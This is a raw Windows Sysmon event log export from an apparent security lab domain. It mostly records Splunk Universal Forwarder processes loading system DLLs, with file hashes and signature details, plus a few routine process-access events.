SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000053178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000053177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000053165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 10341000x800000000000000053163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000053158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.362{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017043Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:20.162{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=190BF7B168FD202892E07A004B8F0381,SHA256=10FDC09D5D93C57562C0915301D98FF9B24EE822477571295055ACD88F79743E,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000053308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.747{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000053307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.747{7BD73061-737C-613B-7C0B-00000000F001}20125476C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.731{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 